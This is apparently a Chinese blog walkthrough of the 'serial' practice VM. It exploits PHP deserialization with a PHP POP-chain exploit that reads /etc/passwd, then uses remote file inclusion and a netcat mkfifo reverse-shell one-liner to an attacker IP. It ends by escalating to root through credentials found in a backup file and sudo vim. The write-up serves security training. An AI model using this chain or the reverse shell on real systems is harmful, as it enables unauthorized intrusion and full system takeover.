当前位置: 首页 > news >正文

【反序列化漏洞】serial靶机详解

一、安装靶机

首先创建新的虚拟机。

然后选择客户机版本为Ubuntu 64位。

然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认

二、信息收集

发现主机192.168.204.143

访问

扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:80服务的端口

扫描目录

Index.php我们已经访问过了,所以我们访问另一个

点击bak.zip给我下载到了本地打开发现三个php文件,解压打开

打开文件,发现unserialize()反序列函数,通过代码审计发现有用户传入的参数,有可能是php反序列化漏洞

三、漏洞利用

对index页面抓包

将cookiebase64解密之后,确实是序列化

之后便是分析php文件,找pop链(感觉代码放这里看不明显,直接上截图)

cookie有值就直接反序列化,这里包含了uesr.class.php文件,去看一下

uesr.class.php文件

log.class.php

构造exp,记住所有变量前用public修饰

<?phpclass Log {public $type_log = "/etc/passwd ";}class User {public $name;public $wel;function __construct($name) {$this->name = $name;$this->wel = new Log();}}$us = new User("sk4");print_r(serialize($us));?>

得到 O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}之后去base64编码之后,赋值给cookie,成功执行

四、获取shell

因为这样执行命令不太方便,我们可以换一种方式,在本地打开web服务,写个命令执行代码,写到www文件夹里的3.php里面(访问该文件:http://192.168.3.46/3.php

),尝试看能不能远程包含

修改type_log的值,将运行的结果base64编码,改cookie,成功访问,证明可以远程包含

发现一直报错显示无法执行空逗号,我那时候还在疑惑为什么不行,试了很久发现是包含文件是php形式的错,包含的文件会先自己进行解析(这里是test.php,会先按php进行解析),解析之后的内容再到包含文件的地方,按它那里的格式进行解析(这里是php文件,按php解析),因此这里test.php先解析的时候,$_GET['x']没有值,因此报错,而按txt解析的时候不会报这个错误,因为被当做字符串

将test.php换为test.txt,之后重新序列化,编码,写入cookie,参数,发现成功执行

添加反弹shell:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.204.136+4444+>/tmp/f

,没有回应,但反弹shell成功

五、提权

执行whoami,发现是www-data用户,查看根目录下的文件,发现敏感文件credentials.txt.bak,我们查看一下

查看文件获取到一个用户名和密码

我们前面信息收集的时候发现22端口是打开的,我们ssh远程登陆一下,输入靶机的ip,再输入我们刚刚得到用户名和密码,登陆

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 动态加载第三方库——dlopen
  • HCIP学习作业一 | HCIA复习
  • 在 Magento 2.4.3 中手动下载和安装样本数据
  • WCF 禁止第三方访问,避免泄露元数据信息
  • 【Qt】QMainWindow之菜单栏
  • 【Docker】容器连接
  • 亨廷顿小勇士必看!你的维生素补给站来啦~
  • 使用openpyxl库对Excel条件格式的深度探索
  • 智能巡检企业级域名 SSL 证书
  • java开发设计模式详解
  • C语言——二维数组和字符数组
  • 嵌入式单片机中在线调试工具使用方法
  • linux下交叉编译licensecc
  • HarmonyOS开发商城首页实现二
  • 嘉兴网站建设的思路
  • JS基础篇--通过JS生成由字母与数字组合的随机字符串
  • JS字符串转数字方法总结
  • Netty+SpringBoot+FastDFS+Html5实现聊天App(六)
  • nfs客户端进程变D,延伸linux的lock
  • sessionStorage和localStorage
  • 前言-如何学习区块链
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • 扩展资源服务器解决oauth2 性能瓶颈
  • 新海诚画集[秒速5センチメートル:樱花抄·春]
  • ​如何使用QGIS制作三维建筑
  • ​什么是bug?bug的源头在哪里?
  • ​用户画像从0到100的构建思路
  • !!java web学习笔记(一到五)
  • #{}和${}的区别?
  • #预处理和函数的对比以及条件编译
  • $ git push -u origin master 推送到远程库出错
  • (¥1011)-(一千零一拾一元整)输出
  • (06)金属布线——为半导体注入生命的连接
  • (1综述)从零开始的嵌入式图像图像处理(PI+QT+OpenCV)实战演练
  • (附源码)计算机毕业设计SSM疫情下的学生出入管理系统
  • (四)stm32之通信协议
  • (算法)区间调度问题
  • (轉貼)《OOD启思录》:61条面向对象设计的经验原则 (OO)
  • *算法训练(leetcode)第四十七天 | 并查集理论基础、107. 寻找存在的路径
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布
  • .Net Core与存储过程(一)
  • .Net Remoting常用部署结构
  • .NET平台开源项目速览(15)文档数据库RavenDB-介绍与初体验
  • /etc/sudoers (root权限管理)
  • @Bean有哪些属性
  • @media screen 针对不同移动设备
  • @reference注解_Dubbo配置参考手册之dubbo:reference
  • [20150904]exp slow.txt
  • [AIGC codze] Kafka 的 rebalance 机制
  • [Android]一个简单使用Handler做Timer的例子
  • [Apio2012]dispatching 左偏树
  • [CSS]CSS 的背景
  • [DP 训练] Longest Run on a Snowboard, UVa 10285
  • [GYCTF2020]Ez_Express
  • [HackMyVM]靶场 Wild